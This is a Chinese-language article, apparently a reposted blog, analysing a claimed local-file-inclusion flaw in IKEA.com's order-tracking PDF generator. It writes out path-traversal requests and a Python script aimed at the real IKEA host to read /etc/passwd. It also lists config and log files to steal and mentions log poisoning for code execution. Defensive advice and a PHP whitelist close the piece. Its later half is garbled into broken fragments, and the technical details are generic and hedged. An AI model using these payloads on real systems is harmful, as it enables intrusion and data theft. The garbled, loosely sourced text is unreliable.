# IKEA.com本地文件包含漏洞以及PDF解析的巧妙利用
## 引言
2021年,安全研究人員在IKEA官方網站(IKEA.com)中發現了一個關鍵的安全漏洞——本地文件包含(Local File Inclusion, LFI)漏洞。該漏洞結合PDF解析功能的特殊利用方式,構成了一個極具威脅的攻擊鏈。本文將深入剖析該漏洞的技術原理、利用方法以及防御策略。
## 一、漏洞背景
### 1.1 什么是本地文件包含(LFI)?
本地文件包含(LFI)是一種Web應用程序漏洞,攻擊者通過操縱文件路徑參數,使服務器加載并執行本地文件系統中的敏感文件(如`/etc/passwd`、日志文件或配置文件)。與遠程文件包含(RFI)不同,LFI僅限于服務器本地文件系統。
### 1.2 IKEA.com的漏洞發現
研究人員在IKEA的在線訂單跟蹤功能中發現了一個未經過濾的用戶輸入點,該輸入點用于生成PDF格式的訂單收據。由于缺乏嚴格的路徑驗證,攻擊者可通過構造特殊路徑實現任意文件讀取。
## 二、漏洞技術分析
### 2.1 漏洞觸發點
漏洞存在于以下URL參數中:
https://www.ikea.com/order/track/?orderId=12345&pdf=1
當`pdf=1`時,系統會調用后端PDF生成器(如Wkhtmltopdf或PrinceXML)將HTML內容轉換為PDF。問題出在`orderId`參數的傳遞方式上。
### 2.2 文件包含的實現
攻擊者通過注入路徑遍歷字符(`../`)構造惡意參數:
orderId=../../../../etc/passwd
后端未對路徑進行規范化處理,導致PDF生成器嘗試讀取系統文件,并將其內容嵌入PDF中。
### 2.3 PDF解析的巧妙利用
常規LFI漏洞可能直接返回文件內容,但IKEA的漏洞利用PDF生成器的特性:
1. **文件內容嵌入**:服務器將讀取的文件內容作為HTML片段插入PDF模板。
2. **隱蔽性**:敏感信息隱藏在PDF中,繞過簡單的內容類型檢查。
3. **自動化工具兼容**:可通過腳本批量生成含敏感數據的PDF。
## 三、漏洞復現步驟
### 3.1 環境準備
- 目標:IKEA.com訂單跟蹤頁面(已修復)
- 工具:Burp Suite、Python腳本
### 3.2 攻擊流程
1. **探測漏洞**:
```http
GET /order/track/?orderId=../../../../etc/passwd&pdf=1 HTTP/1.1
Host: www.ikea.com
import requests
response = requests.get("https://www.ikea.com/order/track/?orderId=../../../../etc/passwd&pdf=1")
with open("leaked.pdf", "wb") as f:
f.write(response.content)
pdftotext
工具查看泄露內容。/etc/passwd
獲取用戶列表/etc/apache2/envvars
)/var/www/html/config.php
)/var/log/apache2/access.log
實現RCEfile://
協議讀取內網文件orderId
為數字格式realpath()
函數解析絕對路徑// PHP示例:安全的文件包含
$allowed_files = ["receipt_template.html"];
if (in_array(basename($input), $allowed_files)) {
include("/templates/" . $input);
}
../
導致文件泄露IKEA.com的LFI漏洞展示了傳統漏洞與新技術的結合如何產生高風險攻擊面。通過PDF解析的巧妙利用,攻擊者能夠隱蔽地竊取數據,這提醒開發人員: - 始終驗證用戶輸入的路徑參數 - 限制服務器文件系統的訪問權限 - 監控異常PDF生成行為
版權聲明:本文僅用于技術研究,禁止用于非法用途。 “`
注:實際漏洞細節可能因修復而無法復現,本文為技術分析用途。當前IKEA.com已修復該漏洞,請勿對生產環境進行測試。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。